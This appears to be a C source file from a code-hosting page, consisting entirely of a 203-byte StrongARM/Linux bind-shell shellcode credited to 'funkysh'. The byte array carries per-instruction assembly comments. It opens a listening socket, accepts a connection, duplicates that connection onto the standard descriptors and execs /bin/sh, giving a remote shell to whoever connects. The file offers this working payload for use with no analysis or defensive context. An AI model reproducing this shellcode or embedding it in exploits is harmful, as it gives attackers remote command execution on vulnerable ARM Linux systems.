55 lines
No EOL
3.6 KiB
C
55 lines
No EOL
3.6 KiB
C
/*
|
|
* 203 byte StrongARM/Linux bind() portshell shellcode
|
|
* funkysh
|
|
*/
|
|
|
|
char shellcode[]= "\x20\x60\x8f\xe2" /* add r6, pc, #32 */
|
|
"\x07\x70\x47\xe0" /* sub r7, r7, r7 */
|
|
"\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */
|
|
"\x01\x30\x87\xe2" /* add r3, r7, #1 */
|
|
"\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */
|
|
"\x01\x20\x83\xe2" /* add r2, r3, #1 */
|
|
"\x07\x40\xa0\xe1" /* mov r4, r7 */
|
|
"\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */
|
|
"\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */
|
|
"\x0d\x10\xa0\xe1" /* mov r1, sp */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */
|
|
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
|
|
"\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */
|
|
"\x14\x20\xa0\xe3" /* mov r2, #20 */
|
|
"\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */
|
|
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
|
|
"\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */
|
|
"\x10\x30\xa0\xe3" /* mov r3, #16 */
|
|
"\x0d\x20\xa0\xe1" /* mov r2, sp */
|
|
"\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */
|
|
"\x02\x20\xa0\xe3" /* mov r2, #2 */
|
|
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
|
"\x0d\x10\xa0\xe1" /* mov r1, sp */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */
|
|
"\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */
|
|
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
|
|
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */
|
|
"\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */
|
|
"\x01\x20\x82\xe2" /* add r2, r2, #1 */
|
|
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
|
|
"\x04\x70\x8d\xe5" /* str r7, [sp, #4] */
|
|
"\x08\x70\x8d\xe5" /* str r7, [sp, #8] */
|
|
"\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */
|
|
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
|
|
"\x02\x10\xa0\xe3" /* mov r1, #2 */
|
|
"\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */
|
|
"\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 <dup2> */
|
|
"\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */
|
|
"\x01\x10\x51\xe2" /* subs r1, r1, #1 */
|
|
"\xfb\xff\xff\x5a" /* bpl <dup2> */
|
|
"\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */
|
|
"\x14\x30\x8f\xe2" /* add r3, pc, #20 */
|
|
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
|
|
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
|
|
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
|
|
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
|
|
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
|
|
"\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */
|
|
"/bin/sh"; |